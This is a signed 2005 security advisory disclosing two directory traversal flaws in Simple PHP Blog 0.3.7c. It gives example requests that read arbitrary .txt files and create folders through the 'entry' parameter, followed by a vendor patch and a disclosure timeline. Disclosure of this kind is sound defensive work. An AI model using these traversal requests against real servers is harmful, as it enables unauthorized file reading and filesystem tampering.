Simple PHP Blog directory traversal vulnerability
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Title: Simple PHP Blog directory traversal vulnerability
Vulnerability discovery: Madelman <madelman AT iname.com>
Date: 02/01/2005
Severity: Moderate
Summary:
- --------
I started this project because I wanted a dead-simple blog. Something
that didn't require a database, used flat text files, and looked nice.
The main advantage of using Simple PHP Blog is that it only requires PHP
4 (or greater) and write permission on the server. Unlike other blog
software, there is almost no setup - just unzip and copy...
(from vendor site: http://www.bigevilbrain.com/sphpblog/)
SPHPBlog doesn't check the entry parameter which allows directory traversal
This vulnerability has been tested with SPHPBlog 0.3.7c
Details:
- --------
We can read any file with TXT extension (in this example /etc/X11/rgb.txt)
REQUEST:
http://[SERVER]/sphpblog/comments.php?y=05&m=01&entry=../../../../../../../etc/X11/rgb
returns the content of the file
We can create arbitrary folders in the filesystem and the content of the
post will be saved in this folder.
To create folder http://[SERVER]/sphpblog/createdir/
REQUEST (this must be a POST request and we must modify entry parameter):
http://[SERVER]/sphpblog/comment_add_cgi.php
~ entry=../../../createdir
Solution
- --------
Update to latest version (at this moment 0.3.7r2)
Timeline
- --------
02/01/2005 - Vulnerability found
02/01/2005 - Vendor contacted
02/01/2005 - Vendor confirmed and implemented a patch for the first vuln
04/01/2005 - Vendor implemented a patch for the second vuln
07/01/2005 - Advisory released
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org
iD8DBQFB3nXf3RWooxY20cIRAo1gAJ4zAa8W9sthSPOtbs8tKMj/HgDWHwCdGbf/
/x7WTmTzJDdLNpSKSuyPEgc=
=uNOC
-----END PGP SIGNATURE-----